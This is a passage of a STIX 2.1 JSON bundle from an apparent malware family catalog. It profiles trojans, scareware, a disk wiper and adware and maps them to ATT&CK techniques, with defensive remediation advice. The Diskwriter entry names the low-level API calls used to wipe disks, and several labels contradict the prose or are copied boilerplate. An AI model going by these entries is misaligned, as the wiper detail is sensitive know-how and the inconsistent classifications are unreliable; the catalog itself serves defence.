          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dishigy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dishigy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e62502e-9d2d-55c4-a2ef-8018604b1662",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2080a33-7411-5f1a-9a68-c96fcc94e4c0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dishigy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47373d5f-85cd-508d-a07e-d5bc4941818d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2080a33-7411-5f1a-9a68-c96fcc94e4c0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dishigy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9395479-3d5c-5561-a4ab-eab1ca20bbf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2080a33-7411-5f1a-9a68-c96fcc94e4c0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dishigy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22272055-84cc-5635-987e-39fd7ed9408c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2080a33-7411-5f1a-9a68-c96fcc94e4c0",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dishigy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df716c89-a5e5-50e1-9548-f2e98efe7da4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2080a33-7411-5f1a-9a68-c96fcc94e4c0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dishigy exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d8a05760-f9c7-52ba-ac72-5410e651d74c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Diskscanfa",
      "description": "<h3>Executive Summary</h3>\nDiskScanFA is a classification for a specific family of Rogue Security Software, commonly referred to as \"FakeAV\" or \"Scareware.\" It masquerades as a legitimate Windows disk scanning or antivirus utility. Its sole purpose is financial extortion: it deliberately displays fake system errors, non-existent virus infections, and fictitious hard drive failures to frighten the victim into purchasing a worthless \"premium\" license to fix the fabricated issues.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDiskScanFA is primarily distributed via drive-by downloads, malvertising (malicious ads that redirect to fake scanner pages), or bundled heavily with pirated software. The infection often begins with a web page that looks like a \"My Computer\" window, falsely scanning the user's hard drive.\n\nOnce installed on the endpoint, DiskScanFA employs aggressive extortion tactics:\n<ul>\n<li><strong>UI Subversion and Harassment:</strong> The malware launches a highly convincing, albeit fake, graphical interface resembling a Microsoft security product. It continuously bombards the user with high-priority alerts claiming the hard drive is failing, RAM is corrupted, or severe rootkits have been detected.</li>\n<li><strong>System Lockdown:</strong> To force payment, DiskScanFA often blocks legitimate applications from launching. It intercepts executable launches (`.exe`) and displays a fake alert claiming the application is infected and must be blocked until the \"premium\" version is purchased.</li>\n<li><strong>Security Disablement:</strong> The malware modifies the Windows Registry to disable the Task Manager, Registry Editor, and legitimate antivirus software to prevent the user from manually terminating the rogue process.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile the primary goal is financial fraud (stealing credit card details during the fake purchase process), the presence of DiskScanFA severely disrupts business operations by locking down the workstation. Furthermore, the payload is often distributed by pay-per-install botnets, meaning the endpoint is highly likely infected with secondary, silent threats like Info-Stealers.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Triage:</strong> Because the rogue software blocks application execution, incident responders must boot the infected machine into Windows \"Safe Mode with Networking\" to bypass the malware's autostart mechanisms.</li>\n<li><strong>Registry and File Eradication:</strong> In Safe Mode, utilize a reputable, enterprise-grade anti-malware scanner to locate and delete the hidden executables (often in `%AppData%`) and revert the malicious registry modifications (specifically `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`).</li>\n<li><strong>Credit Card Monitoring:</strong> If the user entered their credit card information into the fake software portal, they must immediately contact their bank, cancel the card, and monitor for fraudulent transactions.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.DiskScanFA",
        "FakeAV.DiskScan",
        "Win32/FakeAV"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Diskscanfa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/diskscanfa"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f065f276-9f71-583b-a779-8d8a7155d5b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8a05760-f9c7-52ba-ac72-5410e651d74c",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Diskscanfa exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8180d90f-a13d-506f-8efb-e981fbc988cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8a05760-f9c7-52ba-ac72-5410e651d74c",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Diskscanfa exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08e5210e-2e43-5398-9e64-6e1fc7f7e0a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8a05760-f9c7-52ba-ac72-5410e651d74c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Diskscanfa exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de42224c-c130-5475-838a-93b01d216cc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8a05760-f9c7-52ba-ac72-5410e651d74c",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Diskscanfa exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8d869944-5517-523b-ae3f-aa5c7a910bf3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Diskwriter",
      "description": "Diskwriter (classified across cybersecurity databases under designations including Trojan:Win32/Diskwriter, Wiper:Win32/Diskwriter, and Win32/Diskwriter) is an aggressive and destructive disk-wiping trojan designed to cause permanent data destruction on infected Windows computers. Distributed via weaponized spear-phishing campaigns and Trojanized utilities, Diskwriter requests elevated administrative privileges to acquire direct low-level device handles via CreateFileW targeting raw physical disks ('\\\\.\\PhysicalDrive0') and logical volume sectors. The malware writes randomized bytes or zeros across the Master Boot Record (MBR), GUID Partition Table (GPT), and NTFS Master File Table (MFT) structures. Once the low-level disk structures are destroyed, Diskwriter triggers an immediate hard system reboot or fatal blue screen (BSOD) via NtRaiseHardError, rendering the machine completely unbootable and causing irrecoverable data loss. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Diskwriter",
        "Wiper:Win32/Diskwriter",
        "Win32/Diskwriter",
        "Diskwriter Wiper",
        "Diskwriter MBR Destroyer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Diskwriter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/diskwriter"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7e0e14c7-2ea5-5108-a447-2ff2105aa22f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Diss",
      "description": "Trojan:Win32/Diss is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Diss</b><br>To an end-user, a Diss infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Diss is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Diss is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Diss frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Diss reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Diss",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/diss"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fb2d6cc-5670-5a6a-baca-949d68b48243",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e0e14c7-2ea5-5108-a447-2ff2105aa22f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Diss exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e932ecf-524c-5664-ade9-a995953d0101",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e0e14c7-2ea5-5108-a447-2ff2105aa22f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Diss exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce6f09dc-5ed8-5612-be4f-648bf7554985",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e0e14c7-2ea5-5108-a447-2ff2105aa22f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Diss exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf50e9d1-3345-54a1-93b5-f4178751bacd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e0e14c7-2ea5-5108-a447-2ff2105aa22f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Diss exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--356e8ce1-b0ce-5d08-b1f1-64f0b91df647",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e0e14c7-2ea5-5108-a447-2ff2105aa22f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Diss exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--51cf901b-de04-5fed-9fe2-eff0ff88d06e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "District",
      "description": "<h3>Executive Summary</h3>\nDistrict is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDistrict is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, District operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> District ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, District receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA District infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the District executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because District frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.District",
        "Downloader.District",
        "Win32/District"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for District",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/district"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--468d7e63-4893-5e85-bf75-bd3617770dea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51cf901b-de04-5fed-9fe2-eff0ff88d06e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "District exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f7be3d4-8b6e-56af-89c2-3810852706f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51cf901b-de04-5fed-9fe2-eff0ff88d06e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "District exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4652b664-ceaf-5f61-8d61-02ec55d23698",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51cf901b-de04-5fed-9fe2-eff0ff88d06e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "District exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f9b8c604-fd68-5f66-90ef-09208758d51e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ditertag",
      "description": "<h3>Executive Summary</h3>\nDitertag is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDitertag is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Ditertag operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Ditertag ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Ditertag receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Ditertag infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Ditertag executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Ditertag frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Ditertag",
        "Downloader.Ditertag",
        "Win32/Ditertag"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ditertag",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ditertag"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7605656b-80f0-5079-b33f-c2c8508452ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9b8c604-fd68-5f66-90ef-09208758d51e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ditertag exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--434b32ba-fb11-5d1e-9835-f8f4e604d492",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9b8c604-fd68-5f66-90ef-09208758d51e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ditertag exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--597cbbbd-50dd-5fb3-af4f-2d3e4c05cd83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9b8c604-fd68-5f66-90ef-09208758d51e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ditertag exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c9fd5ca6-321b-5285-8dd2-1b8bc34ff000",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Diztakun",
      "description": "Diztakun (cataloged across security vendors and threat intelligence databases under signatures including Trojan:Win32/Diztakun, Trojan.Win32.Diztakun, and Spyware.Diztakun) is a covert Windows trojan and spyware threat active since 2016. Infiltrating endpoints primarily through malicious email attachments, cracked software packages, and drive-by web exploits, Diztakun executes surveillance and system modification routines. Upon gaining execution, the malware establishes persistence through Windows Registry Run keys, suppresses native system alert mechanisms, and profiles system hardware and user accounts. Diztakun can log user keystrokes, extract credentials from local storage, and establish encrypted C2 beacons to download and execute secondary malware payloads. (Observed samples in benchmark: 42)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Diztakun",
        "Trojan.Win32.Diztakun",
        "Spyware.Diztakun",
        "Win32/Diztakun",
        "Trojan:Win32/Diztakun!rfn"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Diztakun",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/diztakun"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f55f461a-add4-5835-869f-baab51901eae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dlassistant",
      "description": "Adware:Win32/Dlassistant (Download Assistant) is a classification for Potentially Unwanted Programs (PUPs) that masquerade as download accelerators or file managers. In reality, their primary function is to act as a delivery mechanism for a barrage of adware, browser hijackers, and potentially secondary malware payloads (`T1189`). They monetize the act of downloading files by forcing users through advertisement-laden gateways.<br><br><b>Understanding Dlassistant</b><br>To an end-user, Dlassistant is deceptive. They might click a 'Download' button on a file-sharing site, but instead of the file, they receive a 'Download Assistant' executable. When run, this assistant bombards the user with 'Optional Offers' (which are usually checked by default) before finally downloading the requested file. For an IT department, these assistants are a major source of endpoint contamination and helpdesk tickets.<br><br><b>Execution and Delivery Mechanics</b><br>Dlassistant relies heavily on deceptive UI design (dark patterns) during its installation process. Users rapidly clicking 'Next' will inadvertently agree to install toolbars, change their default search engine, and install standalone adware applications. The assistant itself establishes persistence (often via Registry Run keys, `T1547.001`) to continuously serve pop-up ads from the system tray. Furthermore, the assistant acts as a downloader (`T1105`), fetching and executing the bundled adware payloads directly onto the host, completely bypassing browser-based security checks.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe system clutter, degraded performance, and exposure to malvertising. Host-based IoCs include the presence of the 'Download Assistant' executable in `%ProgramFiles%`, the sudden appearance of multiple unknown desktop shortcuts, unauthorized modifications to browser homepages, and a spike in newly installed programs in the Windows Control Panel. Network IoCs involve heavy traffic to affiliate tracking networks and adware distribution servers. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dlassistant",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dlassistant"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bdcc36ec-26be-5a96-9d3e-dcf8a49031f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f55f461a-add4-5835-869f-baab51901eae",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlassistant exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive download buttons and portals))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf622ebd-cad5-5083-be32-b4f4024aba8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f55f461a-add4-5835-869f-baab51901eae",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlassistant exhibits technique T1105 (Ingress Tool Transfer (Acting as a conduit to download and install multiple adware payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11362d8f-7095-51bc-b3aa-8eb37bc4e7ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f55f461a-add4-5835-869f-baab51901eae",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dlassistant exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Ensuring the assistant starts at boot))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3c23f1f8-1e2e-513d-99a1-5c1f6245369e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dlboost",
